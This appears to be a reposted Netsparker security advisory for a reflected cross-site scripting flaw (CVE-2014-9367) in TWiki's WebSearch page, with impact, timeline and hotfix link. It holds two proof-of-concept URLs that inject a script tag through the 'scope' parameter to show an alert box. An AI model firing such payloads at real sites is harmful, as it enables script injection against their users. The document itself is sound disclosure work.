TWiki Security Advisory - XSS Vulnerability - CVE-2014-9367

2014-12-22T00:00:00
ID SECURITYVULNS:DOC:31506
Type securityvulns
Reporter Securityvulns
Modified 2014-12-22T00:00:00

Description

Information

Advisory by Netsparker. Name: XSS Vulnerability with Scope and Other URL Parameters of WebSearch Affected Software : TWiki Affected Versions: 6.0.1 and possibly below Vendor Homepage : http://www.twiki.org/ Vulnerability Type : Cross-site Scripting Severity : Important CVE ID: CVE-2014-9367 Netsparker Advisory Reference : NS-14-042

Advisory URL

https://www.netsparker.com/cve-2014-9367-xss-vulnerability-in-twiki/

Impact

A malicious person can use specially crafted URL parameters to TWiki's WebSearch topic that execute arbitrary JavaScript code in the browser. Examples:

Specially crafted parameter to the view script of TWiki:

GET /do/view/TWiki/WebSearch?search=Search&scope='"--></style></script><script>alert('CVE-2014-9367 vulnarable!')</script>

TWiki decodes the URL parameters and pops up a JavaScript alert box showing "CVE-2014-9367 vulnarable!"

Technical Details

/bin/view/TWiki/WebSearch?search=Search&scope='"--></style></scRipt><scRipt>alert(0x000BFE)</scRipt>&web=TWiki

For more information on cross-site scripting vulnerabilities read the following article: https://www.netsparker.com/web-vulnerability-scanner/vulnerability-security-checks-index/crosssite-scripting-xss/

Advisory Timeline

09/12/2014 - First Contact 09/12/2014 - Vulnerability Fixed 18/12/2014 - Advisory Released

Solution

http://twiki.org/cgi-bin/view/ST/SecurityAlert-CVE-2014-9367#Hotfix_for_TWiki_Production_Rele

Credits & Authors

These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

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